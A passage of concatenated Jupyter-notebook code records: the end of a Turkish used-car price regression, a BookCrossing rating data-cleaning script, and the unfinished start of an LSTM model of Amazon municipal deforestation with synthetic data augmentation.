2},\n'Çekiş': {'4WD (Sürekli)': 0, '4x2 (Önden Çekişli)': 1, '4x4': -9999, 'Arkadan İtiş': -9999, 'AWD (Elektronik)': 4},\n'Renk': {'Bej': -9999, 'Beyaz': -9999, 'Bordo': -9999, 'Füme': -9999, 'Gri': -9999, 'Gümüş Gri': -9999, 'Kahverengi': -9999, 'Kırmızı': -9999, 'Lacivert': -9999, 'Mavi': -9999, 'Mor': -9999, 'Siyah': -9999, 'Turkuaz': -9999, 'Turuncu': -9999, 'Yeşil': 14},\n'Garanti': {'Evet': 0, 'Hayır': 1},\n'Ağır Hasar Kayıtlı': {'Evet': -9999, 'Hayır': 1},\n'Plaka / Uyruk': {'TR': -9999, 'Yabancı': 1},\n'Kimden': {'Galeriden': 0, 'Sahibinden': -9999, 'Yetkili Bayiden': -9999},\n'Takas': {'Evet': 0, 'Hayır': 1},\n}\nX = pd.DataFrame()\n\n# Model Yıl ve Araç Kilometresi sütunlarını X'e ekleme\nX['Model Yıl'] = dataset['Model Yıl']\nX['Araç Kilometresi'] = dataset['Araç Kilometresi']\n\n# Diğer sütunları etiketleme ve X'e ekleme\nfor column, labels in etiketler.items():\n if column != 'Model Yıl' and column != 'Araç Kilometresi':\n X[column] = dataset[column].map(labels)\n\nprint(X)\n\n# +\n#İstatistiksel olarak anlamsız olan sütunları X değişkeni içinden çıkarıyoruz.\nsilinecek_sutunlar = [\"Model Yıl\", \"Garanti\", \"Takas\", \"Araç Durumu\", \"Plaka / Uyruk\", \"Renk\", \"Ağır Hasar Kayıtlı\", \"Kimden\", \"Vites\"]\n\nX = X.drop(columns=silinecek_sutunlar)\n\n# -\n\n# ### 6- Korelasyon Testi\n\n# +\nfrom scipy.stats import pearsonr\n\n# X'i pandas DataFrame'e dönüştürme\nX = pd.DataFrame(X)\n\n# Her bir sütunun \"Fiyat\" sütunu ile olan korelasyonunu test etme\nkorelasyonlar = []\nfor sutun in range(X.shape[1]):\n korelasyon, _ = pearsonr(X.iloc[:, sutun], y)\n korelasyonlar.append(korelasyon)\n\n# Sütun adları ve korelasyon katsayılarını birleştirme\nkorelasyon_verileri = list(zip(X.columns, korelasyonlar))\n\n# Korelasyonları mutlak değere göre büyükten küçüğe sıralama\nkorelasyon_verileri.sort(key=lambda x: abs(x[1]), reverse=True)\n\n# Eşik değeri\nesik_degeri = 0.5 # İstediğiniz eşik değerini burada belirleyin\n\n# Eşik değerini geçen sütunları seçme\nanlamli_sutunlar = [sutun for sutun, korelasyon in korelasyon_verileri if abs(korelasyon) > esik_degeri]\n\n# Sadece anlamlı sütunları X değişkenine atama\nX = X[anlamli_sutunlar]\n\n# Sonuçları yazdırma\nfor sutun, korelasyon in korelasyon_verileri:\n print(f\"{sutun}: Korelasyon= {korelasyon}\")\n# -\n\n# # Veri Kümesini Eğitim Ve Test Seti Olarak Bölme\n\n# +\nfrom sklearn.model_selection import train_test_split\n\n# Veri kümesini eğitim ve test verisi olarak bölmek\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.15, random_state=0)\n\n# Eğitim verisini doğrulama/geliştirme verisi olarak bölmek\nX_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size=0.15, random_state =0)\n# -\n\n# # Modeli Eğitme İşlemi\n\n# +\nfrom sklearn.linear_model import LinearRegression\nimport joblib\n\nregressor = LinearRegression()\nregressor.fit(X_train, y_train)\n\n# Modelin katsayılarını ve kesme terimini alır.\ncoefficients = regressor.coef_\nintercept = regressor.intercept_\n\n# Modelin formülünü oluşturur.\nformula = \"y = {:.2f}\".format(intercept)\n\n# Katsayıları ve öznitelik isimlerini birleştirir.\nfor i, coefficient in enumerate(coefficients):\n coefficient_str = \"{:.2f}\".format(coefficient) # Değişiklik burada\n formula += \" + ({} * {})\".format(coefficient_str, X_train.columns[i])\n\nprint(\"Modelin formülü:\", formula)\n\n# Modeli kaydet\njoblib.dump(regressor, \"Makine Öğrenim Modeli-Label v0.1.pkl\")\n# -\n\n# # Eğitim Ve Test Sonuçları\n\n# +\nfrom scipy import stats\nfrom sklearn.metrics import r2_score, mean_absolute_error, mean_squared_error\n\n# Tahmin sonuçlarını elde etmek\ny_pred_train = regressor.predict(X_train)\ny_pred_val = regressor.predict(X_val)\ny_pred_test = regressor.predict(X_test)\n\n# R-Kare (R^2) Skoru\nr2_train = r2_score(y_train, y_pred_train)\nr2_val = r2_score(y_val, y_pred_val)\nr2_test = r2_score(y_test, y_pred_test)\n\n# Ortalama Mutlak Hata (MAE)\nmae_train = mean_absolute_error(y_train, y_pred_train)\nmae_val = mean_absolute_error(y_val, y_pred_val)\nmae_test = mean_absolute_error(y_test, y_pred_test)\n\n# Ortalama Kare Hata (MSE)\nmse_train = mean_squared_error(y_train, y_pred_train)\nmse_val = mean_squared_error(y_val, y_pred_val)\nmse_test = mean_squared_error(y_test, y_pred_test)\n\n# Kök Ortalama Kare Hata (RMSE)\nrmse_train = np.sqrt(mse_train)\nrmse_val = np.sqrt(mse_val)\nrmse_test = np.sqrt(mse_test)\n\n# P-değerleri\n_, p_values_train = stats.ttest_ind(y_pred_train, y_train)\n_, p_values_val = stats.ttest_ind(y_pred_val, y_val)\n_, p_values_test = stats.ttest_ind(y_pred_test, y_test)\n\n# Test tahminleri ve gerçek sonuçlar arasındaki farkın yüzdesel hesaplanması\npercentage_diff_train = (y_pred_train - y_train) / y_train * 100\npercentage_diff_val = (y_pred_val - y_val) / y_val * 100\npercentage_diff_test = (y_pred_test - y_test) / y_test * 100\n\n# Doğruluk oranlarının hesaplanması\naccuracy_train = 100 - np.mean(np.abs(percentage_diff_train))\naccuracy_val = 100 - np.mean(np.abs(percentage_diff_val))\naccuracy_test = 100 - np.mean(np.abs(percentage_diff_test))\n\n# Tahmin sonuçları ve gerçek değerlerin birleştirilerek görüntülenmesi\nresults_train = np.concatenate((y_pred_train.reshape(len(y_pred_train), 1), y_train.reshape(len(y_train), 1)), axis=1)\nresults_val = np.concatenate((y_pred_val.reshape(len(y_pred_val), 1), y_val.reshape(len(y_val), 1)), axis=1)\nresults_test = np.concatenate((y_pred_test.reshape(len(y_pred_test), 1), y_test.reshape(len(y_test), 1)), axis=1)\n\n# Sonuçların yazdırılması\nprint(\"Eğitim Seti R^2 Skoru: {:.2f}\".format(round(r2_train, 2)))\nprint(\"Eğitim Seti MAE: {:.2f}\".format(round(mae_train, 2)))\nprint(\"Eğitim Seti MSE: {:.2f}\".format(round(mse_train, 2)))\nprint(\"Eğitim Seti RMSE: {:.2f}\".format(round(rmse_train, 2)))\nprint(\"Eğitim Seti P-değerleri: {:.2f}\".format(round(p_values_train, 2)))\nprint(\"Eğitim Seti Doğruluk Oranı: {:.2f}%\".format(accuracy_train))\nprint()\nprint(\"Eğitim Seti Tahmin Sonuçları ve Gerçek Değerler:\")\nprint()\nprint(results_train[:10])\nprint()\nprint()\nprint(\"************************************************************\")\nprint()\n\nprint(\"Doğrulama/Geliştirme Seti R^2 Skoru: {:.2f}\".format(round(r2_val, 2)))\nprint(\"Doğrulama/Geliştirme Seti MAE: {:.2f}\".format(round(mae_val, 2)))\nprint(\"Doğrulama/Geliştirme Seti MSE: {:.2f}\".format(round(mse_val, 2)))\nprint(\"Doğrulama/Geliştirme Seti RMSE: {:.2f}\".format(round(rmse_val, 2)))\nprint(\"Doğrulama/Geliştirme Seti P-değerleri: {:.2f}\".format(round(p_values_val, 2)))\nprint(\"Doğrulama/Geliştirme Seti Doğruluk Oranı: {:.2f}%\".format(accuracy_val))\nprint()\nprint(\"Doğrulama/Geliştirme Seti Tahmin Sonuçları ve Gerçek Değerler:\")\nprint()\nprint(results_val[:10])\nprint()\nprint()\nprint(\"************************************************************\")\nprint()\n\nprint(\"Test Seti R^2 Skoru: {:.2f}\".format(round(r2_test, 2)))\nprint(\"Test Seti MAE: {:.2f}\".format(round(mae_test, 2)))\nprint(\"Test Seti MSE: {:.2f}\".format(round(mse_test, 2)))\nprint(\"Test Seti RMSE: {:.2f}\".format(round(rmse_test, 2)))\nprint(\"Test Seti P-değerleri: {:.2f}\".format(round(p_values_test, 2)))\nprint(\"Test Seti Doğruluk Oranı: {:.2f}%\".format(accuracy_test))\nprint()\nprint(\"Test Seti Tahmin Sonuçları ve Gerçek Değerler:\")\nprint()\nprint(results_test[:10])\n\n# +\n# Referans Değerler\nreferans_r2 = 0.84\nreferans_accuracy = 84.48\n\n# Yüzdesel fark hesaplaması\nyuzdesel_fark_r2 = (r2_test - referans_r2) / referans_r2 * 100\nyuzdesel_fark_accuracy = (accuracy_test - referans_accuracy) / referans_accuracy * 100\n\n# Sütun grafikleri için veri hazırlığı\ndegerler = ['R^2 Skoru (x100)', 'Doğruluk Oranı']\nreferans_degerler = [referans_r2 * 100, referans_accuracy]\ntest_degerler = [r2_test * 100, accuracy_test]\nyuzdesel_farklar = [yuzdesel_fark_r2, yuzdesel_fark_accuracy]\n\n# Sütun grafiklerinin çizimi\nx = np.arange(len(degerler))\nwidth = 0.35\n\nfig, ax = plt.subplots(figsize=(8, 6))\nax.bar(x - width/2, referans_degerler, width, label='Referans Değerler')\nax.bar(x + width/2, test_degerler, width, label='Test Seti Değerleri', alpha=0.5)\nax.set_ylabel('Skor/Yüzde')\nax.set_title('Referans Değerler ve Test Seti Değerlerinin Karşılaştırması')\n\n# Yüzdesel farkları gösteren metinlerin eklenmesi\nfor i in range(len(degerler)):\n if yuzdesel_farklar[i] >= 0:\n ax.text(x[i] - width/2, referans_degerler[i] + 2, f\"{yuzdesel_farklar[i]:.2f}%\\n(Test > Referans)\", ha='center', va='bottom', fontsize=10)\n else:\n ax.text(x[i] + width/2, referans_degerler[i] + 2, f\"{yuzdesel_farklar[i]:.2f}%\\n(Test < Referans)\", ha='center', va='bottom', fontsize=10)\n\nax.set_xticks(x)\nax.set_xticklabels(degerler)\nax.legend(loc='lower right')\n\nplt.tight_layout()\nplt.show()\n\n# +\nimport matplotlib.pyplot as plt\n\n# Verileri tanımlayalım\notomobiller = ['Bayon', 'Kona', 'Taycan', 'Panamera']\nortalama_fiyatlar = [965929.37, 870535.92, 5150676.80, 3681606.85]\nfiyat_araliklari = [10203112.00, 945799.00, 5545308.00, 4422420.00]\n\n# Sütun grafiği oluşturalım\nplt.bar(otomobiller, ortalama_fiyatlar, yerr=fiyat_araliklari, alpha=0.5)\n\n# Eksenleri ve başlığı belirleyelim\nplt.xlabel('Otomobiller')\nplt.ylabel('Tahmin Edilen Fiyatlar')\nplt.title('Otomobillerin Gerçek Fiyatlarının Ortalamaları')\n\n# Grafiği gösterelim\nplt.show()\n\n\n# -\n\n\n","repo_name":"burakdurmus123/tez_odevi","sub_path":"Çoklu Doğrusal Regresyon/Çoklu Doğrusal Regresyon-Veri Ön İşleme Ve Model Eğitimi-Label-v0.1.ipynb","file_name":"Çoklu Doğrusal Regresyon-Veri Ön İşleme Ve Model Eğitimi-Label-v0.1.ipynb","file_ext":"py","file_size_in_byte":19263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"9982969757","text":"# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 108} id=\"jt_tkvFK0iXp\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611079573675, \"user_tz\": -330, \"elapsed\": 5408, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"5311310d-b222-4e90-b30f-7f01261da06e\"\nimport gdown\n\nurl = 'https://drive.google.com/uc?id=1PL13wgXLfXcsrkKNuVIaNJdGXrIqv2mv'\noutput = 'book_crossing.cleaned.csv'\ngdown.download(url, output, quiet=False)\n\n# + id=\"K33GBeco0Wlw\"\n# %matplotlib inline\n\nimport scipy\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nsns.set()\npalette = sns.color_palette(\"icefire\")\n\nplt.style.use('ggplot')\n\nsns.set_context(\"talk\")\n\n# + [markdown] id=\"6eomAGmld7eG\"\n# # BookCrossing - Cleaning\n\n# + id=\"FF9mrwUH0dzQ\"\ndataset = pd.read_csv('book_crossing.cleaned.csv')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"nSMYy9-nOv1Z\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611090027535, \"user_tz\": -330, \"elapsed\": 1109, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"9d79e43a-c6ce-405b-9b88-2b13d030cf52\"\ndataset.info()\n\n# + [markdown] id=\"AxevkMoq-uLv\"\n# We won't be considering city, state, because they don't really tell a lot of the rating of a book, but also most of the users (~70%) are from usa (which may not contribute a lot to accuracy of classification, but we'll consider it), and the location is realated to the user, and not the book directly, we'll also be dropping isbn, user_id, since they dont contribute to classification of rating\n\n# + id=\"G2Ld4sT9-kOQ\"\ndataset = dataset.drop(['user_id', 'isbn', 'city', 'state'], axis=1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35} id=\"CcszvH4CAA_m\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611090028806, \"user_tz\": -330, \"elapsed\": 1101, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"3bea8cb2-e397-4752-ec7a-19e0528d74c5\"\nf'Dataset Shape : {dataset.shape}'\n\n# + id=\"xodJidto6dRA\"\ndataset.dropna(inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35} id=\"DiRxKkqzALG9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611090029454, \"user_tz\": -330, \"elapsed\": 1377, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"5c178913-aea2-489b-8d72-dc60117fffff\"\nf'Dataset Shape after dropping NA: {dataset.shape}'\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 198} id=\"YRkGthbx04hQ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611090029455, \"user_tz\": -330, \"elapsed\": 1173, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"ec0e3e98-84e2-4aec-ca5c-f9881ce57cd2\"\ndataset.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 138} id=\"h8PQpV8b07oA\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611090030515, \"user_tz\": -330, \"elapsed\": 1203, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"751518f6-0ddd-4663-9d4b-9e488209277b\"\ndataset.describe().T\n\n# + [markdown] id=\"C_l37WK7Axwl\"\n# We'll remove the rows which have a country which has value count <= 50\n\n# + id=\"JsQPwoNC9mI3\"\ndataset = dataset.groupby('country').filter(lambda x: len(x) > 50)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 138} id=\"xVE99HL391Zt\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611090039795, \"user_tz\": -330, \"elapsed\": 1205, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"ad178ecd-f7f9-4536-97ea-355b7bae3a1f\"\ndataset.describe().T\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35} id=\"J0OtHX78A5Ey\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611090040212, \"user_tz\": -330, \"elapsed\": 1036, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"9f985bc1-1763-41ad-9895-79270a1753ba\"\nf'Dataset Shape : {dataset.shape}'\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35} id=\"NsoDap6h6wo_\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611086454080, \"user_tz\": -330, \"elapsed\": 1027, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"2278a8e4-4986-4bea-cb10-9d2f0a987de6\"\nf'Column Names: {dataset.columns.to_list()}'\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"qWex-loeHyvQ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611086454507, \"user_tz\": -330, \"elapsed\": 1181, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"78cc9b44-1293-48ae-8d90-de470aca2d28\"\ndataset['book_rating'].value_counts()\n\n# + [markdown] id=\"bcz3abYmIkcd\"\n# We'll now convert the rating into classification categories\n\n# + id=\"46B0MPorHxzI\"\nbins = [0, 3, 7, 10]\nnames = ['low', 'mid', 'high']\n\ndataset['book_rating'] = pd.cut(dataset['book_rating'], bins, labels=names)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 198} id=\"2ZaaYwORBCYZ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611086461322, \"user_tz\": -330, \"elapsed\": 1056, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"97d36d58-9fbe-420c-d42b-6ee710bccec3\"\ndataset.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"TuHeajGzIZkn\" executionInfo={\"status\": \"ok\", \"timestamp\": 1611086635160, \"user_tz\": -330, \"elapsed\": 1002, \"user\": {\"displayName\": \"Satyajit Ghana\", \"photoUrl\": \"\", \"userId\": \"04001061037686577450\"}} outputId=\"e296eec6-ded8-4d34-9a6e-de65db0f42fb\"\ndataset['book_rating'].value_counts()\n\n# + id=\"zjcXR-4pG23Y\"\ndataset.to_csv('book_crossing.classification.cleaned.csv', index=False)\n\n# + id=\"1Z46fZBZU3qH\"\n\n","repo_name":"satyajitghana/University-Work-SEM-07","sub_path":"Assignment-02-2021/DM/BookReview-Classification-Clean.ipynb","file_name":"BookReview-Classification-Clean.ipynb","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"16728661062","text":"import numpy as np \nimport pandas as pd \nimport math, os\nfrom sklearn import preprocessing\nimport gmplot\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom keras.models import Sequential, Model, load_model\nfrom keras.layers import Dense, LSTM, Masking, Input, Dropout\nfrom keras.layers.merge import concatenate\nfrom keras.utils import plot_model\nfrom keras.callbacks import ModelCheckpoint\npd.set_option('display.max_columns', None)\n\n\ndef obtain_data():\n dfs={}\n for i in range(19):\n year=str(2000+i)\n file='datos/DesmatamentoMunicipios' + year + '.csv'\n dfs[i] = pd.read_csv(file, encoding = \"ISO-8859-1\", index_col=0, sep=\",\")\n #eliminamos columnas irrelevantes\n dfs[i].drop(columns='Latgms', inplace=True)\n dfs[i].drop(columns='Longms', inplace=True)\n dfs[i].drop(columns='CodIbge', inplace=True)\n #df.rename(columns={0:'Latitud', 1:'Longitud', 2:'Municipio', 3:'Estado', 4: 'AreaKm2', 5:'Deforestacion', 6:'Incremento deforestacion', 7:'Bosque', 8:'Nubes', 9:'No observado', 10:'No bosque', 11:'Hidrografia', 12:'Check'} ,inplace=True)\n dfs[i].columns=['Latitud', 'Longitud', 'Municipio', 'Estado', 'Area total', 'Deforestacion ' + year, 'Incremento deforestacion ' + year, 'Bosque ' + year, 'Nubes ' + year, 'No observado ' + year, 'No bosque', 'Hidrografia', 'Check ' + year]\n dfs[i]=dfs[i][['Latitud', 'Longitud', 'Municipio', 'Estado', 'Area total', 'No bosque', 'Hidrografia', 'Deforestacion ' + year, 'Incremento deforestacion ' + year, 'Bosque ' + year, 'Nubes ' + year, 'No observado ' + year, 'Check ' + year]]\n return dfs\n\n\ndef create_df(dfs):\n df=dfs[0]\n dic={}\n for idx, row in df.iterrows():\n if row['Municipio'] in dic:\n dic[row['Municipio']]+=1\n else:\n dic[row['Municipio']]=1\n\n repetidos=[]\n for key, value in dic.items():\n if value==2:\n repetidos.append(key)\n\n rep= df.Municipio.isin(repetidos)\n mismo_municipio = df[rep]\n print(\"Hay algunos municipios con el mismo nombre en 2 estados distintos:\")\n print(mismo_municipio.loc[:,'Latitud':'Area total'])\n\n df=dfs[0]\n for idx, value in dfs.items():\n value['Municipio']=value['Municipio'] + \" (\" + value['Estado'] + \")\"\n if idx > 0:\n value.drop(columns='Latitud', inplace=True)\n value.drop(columns='Longitud', inplace=True)\n value.drop(columns='Estado', inplace=True)\n value.drop(columns='Area total', inplace=True)\n value.drop(columns='Hidrografia', inplace=True)\n value.drop(columns='No bosque', inplace=True)\n df=pd.merge(df, value, on='Municipio')\n\n # reorder columns\n cols = df.columns.tolist()\n cols = cols[2:4] + cols[0:2] + cols[4:]\n df = df[cols]\n\n print(\"Por eso, hacemos merge por la dupla municipio-estado:\")\n print(df.head())\n return df\n\n\ndef shuffle_df(df):\n print(\"El dataset viene ordenado por deforestacion, de mayor a menor. Para entrenar el modelo alteramos el orden de forma aleatoria.\")\n df = df.sample(frac=1)\n df.reset_index(inplace=True, drop=True)\n df.head()\n return df\n\n\ndef plot_map(df, name):\n print(\"Dibujamos el mapa de \" + str(len(df['Latitud'])) + \" municipios\")\n gmap = gmplot.GoogleMapPlotter(df['Latitud'].values[0], df['Longitud'].values[0], 5) # coordenadas del primer municipio del dataframe\n gmap.heatmap(df['Latitud'], df['Longitud']) \n gmap.draw('mapas/' + name)\n print(\"Mapa de calor generado\")\n\n\n# +\ndef generate_fake_data(df, n_replic):\n if n_replic < 1:\n return\n fake_data=[]\n std=df.std()\n #print(std)\n for idx, row in df.iterrows():\n for i in range(n_replic):\n munic = row['Municipio']+' fake_'+str(i)\n estado = row['Estado']\n lat = row['Latitud']+std['Latitud']*0.1*np.random.uniform(-1,1) # variacion del 10% de la desviación típica\n long = row['Longitud']+std['Longitud']*0.1*np.random.uniform(-1,1) # variacion del 10% de la desviación típica\n area = row['Area total']+row['Area total']*0.5*np.random.uniform(-1,1) # variacion del 50% del valor real\n no_bosq = row['No bosque']+row['No bosque']*0.5*np.random.uniform(-1,1) # variacion del 10% del valor real\n hidro = row['Hidrografia']+row['Hidrografia']*0.5*np.random.uniform(-1,1) # variacion del 10% del valor real\n temp = []\n for j in range(19): #TODO: Normalizar por año y append todas a la vez, no se puede cambiar el area cada año\n #year = 2000 + j\n if len(temp) > 5:\n incr = row[n_vars_temp*j+8] # 7 vars fijas + 1 defor para llegar al incremento\n proporcion = incr/row['Area total']\n t = area*proporcion\n incr = t+t*0.05*np.random.uniform(-1,1)\n defor = temp[-6] + incr\n bosque = temp[-4] - incr\n temp.extend([defor,incr, bosque])\n else:\n proporcion = row[j+7]/row['Area total']\n t = area*proporcion\n defor = t+t*0.05*np.random.uniform(0,1)\n bosque = area - (defor + no_bosq + hidro)\n temp.extend([defor,float('NaN'), bosque])\n nubes = 0\n no_obs = 0\n suma = defor + no_bosq + hidro + bosque + nubes + no_obs\n check = suma/area*100\n temp.extend([nubes, no_obs, check])\n fixed = [munic, estado, lat, long, area, no_bosq, hidro] \n fake_row = np.concatenate((fixed, temp))\n fake_data.append(fake_row)\n fake_df = pd.DataFrame(fake_data, columns=df.columns)\n fake_df = fake_df.infer_objects()\n return fake_df\n\n\n# -\n\ndef series_to_supervised(temporal_vars, year_ini_train=0, year_ini_test=1, window_size=18, n_vars_temp=6):\n # ensure all data is float\n temporal_vars = temporal_vars.astype('float32')\n temporal_train = temporal_vars.iloc[:, n_vars_temp*year_ini_train:n_vars_temp*(year_ini_train+window_size)]\n temporal_test = temporal_vars.iloc[0:760, n_vars_temp*year_ini_test:] #testeamos con municipios reales\n return temporal_train, temporal_test\n\n\ndef preprocess_train(temporal_train, fixed_vars, n_vars_temp):\n # data structure for LSTM\n # normalize features\n x = temporal_train.iloc[:,0:-n_vars_temp].values\n y = temporal_train.iloc[:,-n_vars_temp].values.reshape(-1, 1) # reshape in 2D, we get 'deforestacion' as y\n scaler = MinMaxScaler(feature_range=(0, 1))\n x = scaler.fit_transform(x)\n scaler2 = MinMaxScaler(feature_range=(0, 1))\n y = scaler2.fit_transform(y)\n #print(temporal_train.shape, x.shape, y.shape)\n # structure in arrays to be the input of the LSTM\n vars_lstm=[]\n municipio_len=len(x[0])\n for mun in x:\n municipio=[]\n j=0\n while j < municipio_len:\n m=mun[j:j+n_vars_temp]\n if j==0:\n m[1]=-1\t\t# marking missing values: Incremento deforestacion 1999/2000\n #elif m[5]!=municipio[0][5] or m[6]!=municipio[0][6]: # Hidrografia y No bosque son variables fijas!!!\n #\tprint(\"Hidrografia y No bosque varian de año en año\")\n municipio.append(mun[j:j+n_vars_temp])\n j+=n_vars_temp\n vars_lstm.append(municipio)\n\n vars_lstm=np.array(vars_lstm)\n X1 = vars_lstm\n\n # data structure for Dense\n # One hot encoding \n fixed_vars = pd.concat([fixed_vars,pd.get_dummies(fixed_vars['Estado'])],axis=1)\n # Drop column as it is now encoded\n fixed_vars = fixed_vars.drop('Estado',axis = 1)\n scaler3 = MinMaxScaler(feature_range=(0, 1))\n x = scaler3.fit_transform(fixed_vars.iloc[:,1:]) # nombre del municipio en la primera columna\n X2 = np.array(x)\n return X1, X2, y, scaler, scaler2, scaler3\n\n\ndef create_model(window_size, n_vars_temp, hidden_layers, mask=1):\n # LSTM para variables temporales\n input_temporal = Input(shape=(window_size-1, n_vars_temp))\n if mask==0:\n lstm = LSTM(5, activation='relu')(input_temporal) #, unroll =True) -> check what is is\n else:\n masking = Masking(mask_value=-1)(input_temporal)\n lstm = LSTM(5, activation='relu', dropout=0.2)(masking)\n #lstm_1 = LSTM(5, activation='relu', return_sequences = True)(masking)\n #lstm_2 = LSTM(5, activation='relu')(lstm_1)\n dense_1 = Dense(16, activation = 'relu')(lstm)\n \n # Dense para variables fijas\n input_fijo = Input(shape=(X2.shape[1],))\n dense_2 = Dense(32, activation = 'relu')(input_fijo)\n \n # concateno las 2 redes\n merge = concatenate([dense_1, dense_2])\n dense = [merge]\n for i in range(hidden_layers):\n dense.append(Dense(16, activation = 'relu')(dense[-1]))\n output = Dense(1, activation = 'relu')(dense[-1])\n model = Model(inputs=[input_temporal, input_fijo], outputs=output)\n \n # summarize layers\n print(model.summary())\n # plot graph\n plot_model(model, to_file='modelos/model_'+str(hidden_layers)+'.png')\n return model\n\n\ndef preprocess_test(temporal_test, n_vars_temp, scaler, scaler2, scaler3):\n # data structure for LSTM\n # normalize features\n x = temporal_test.values[:,0:-n_vars_temp]\n y = temporal_test.values[:,-n_vars_temp].reshape(-1, 1) # reshape in 2D\n x = scaler.fit_transform(x)\n y = scaler2.fit_transform(y)\n # structure in arrays to be the input of the LSTM\n vars_lstm=[]\n municipio_len=len(x[0])\n for mun in x:\n municipio=[]\n j=0\n while j < municipio_len:\n m=mun[j:j+n_vars_temp]\n if j==0:\n m[1]=-1\t\t# marking missing values: Incremento deforestacion 1999/2000\n #elif m[5]!=municipio[0][5] or m[6]!=municipio[0][6]: # Hidrografia y No bosque son variables fijas!!!\n #\tprint(\"Hidrografia y No bosque varian de año en año\")\n municipio.append(mun[j:j+n_vars_temp])\n j+=n_vars_temp\n vars_lstm.append(municipio)\n\n vars_lstm=np.array(vars_lstm)\n X1 = vars_lstm\n return X1, y\n\n\ndef evaluate_test(municipios_reales, y, y_pred):\n # rescaling\n y=scaler2.inverse_transform(y).flatten()\n y_pred=scaler2.inverse_transform(y_pred).flatten()\n \n errores = []\n abajo = 0\n num_test = len(y_pred)\n for i in range(num_test):\n delta = y[i] - y_pred[i]\n if delta > 0:\n abajo += 1\n error = abs(delta)\n #print(municipios_reales[i], 'Expected', y[i], 'Predicted', y_pred[i], 'Error', str(error))\n errores.append(error)\n test = {'Municipio': municipios_reales.values, 'Expected': y[0:760], 'Predicted': y_pred, 'Error': errores}\n test = pd.DataFrame(test)\n print('Error absoluto medio', np.array(errores).mean(), \"con una muestra de\", num_test, \"municipios\")\n print('La predicción es menor que el dato real',abajo, \"veces\")\n print(test)\n return test\n\n\n# +\ndfs = obtain_data()\ndf = create_df(dfs)\n\nprint(\"\\nEl area total cubierta por los municipios es: \" + str(df.sum(axis = 0, skipna = True)[4]) + \" km^2, mientras el area total de la Amazonia es de 5,5M km^2.\")\nprint(\"Por ello, podemos afirmar que estamos cubriendo una superficie que supone el 92% del total.\\n\")\n\nplot_map(df, 'mapa.html')\n\nn_vars_temp = df.loc[:,'Deforestacion 2000':].shape[1]//19 # number of variables per year\n\n#shuffle data\ndf = shuffle_df(df)\n\nresults = []\nn_replics = [0,1,5,10,50,100]\nfor n in n_replics:\n if n == 0:\n df_complete = df\n else:\n fake_df = generate_fake_data(df, n)\n df_complete = df.append(fake_df)\n #df_complete = df_complete.sort_values(by=['Municipio']) # to be ommited for the test: 760 primeros municipios son los reales\n df_complete.loc[:,'Latitud':] = df_complete.loc[:,'Latitud':].astype('float')\n df_complete = df_complete.infer_objects()\n \n #plot map\n name = 'mapa_fake' + str(n) + '.html'\n plot_map(df_complete, name)\n\n #shuffle data\n df_complete[760:] = shuffle_df(df_complete[760:])\n \n # structure data\n fixed_vars = df_complete.loc[:,['Municipio', 'Estado', 'Latitud', 'Longitud', 'Area total', 'Hidrografia', 'No bosque']]\n temporal_vars = df_complete.loc[:,'Deforestacion 2000':]\n window_size=18\n temporal_train, temporal_test = series_to_supervised(temporal_vars, 0, 1, window_size, n_vars_temp)\n \n # preprocess data for training\n X1, X2, y, scaler, scaler2, scaler3 = preprocess_train(temporal_train, 